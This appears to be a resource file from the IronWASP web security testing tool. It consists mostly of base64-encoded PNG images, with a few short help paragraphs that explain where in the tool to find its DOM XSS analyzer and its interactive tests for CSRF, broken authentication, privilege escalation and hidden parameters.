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 + AQAgYHX1/wG0PeEpapl8nwAAAABJRU5ErkJggg== + + + + To find DOM based XSS go to Tools-> Dom XSS Analyzer. This will analyze all the pages visited by the crawler and user and generate an HTML report containing information about potential DOM XSS sources and sinks. + +Manual analysis of this report should help in identifying DOM XSS issues. + + + + + + Some vulnerabilities can be discovered automatically but discovering some vulnerabilities requires a bit of manual effort. + +IronWASP has an hybrid testing system for finding issues like DOM based XSS, CSRF, Broken Authentication, Privilege Escalation and Hidden Parameters. + +To find CSRF, Broken Authentication, Privilege Escalation and Hidden Parameters go to 'Interactive Testing Tools' and select the corresponding option. Information on how to use each of these tools is available inside the individual tools. + + + + + + + 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 + 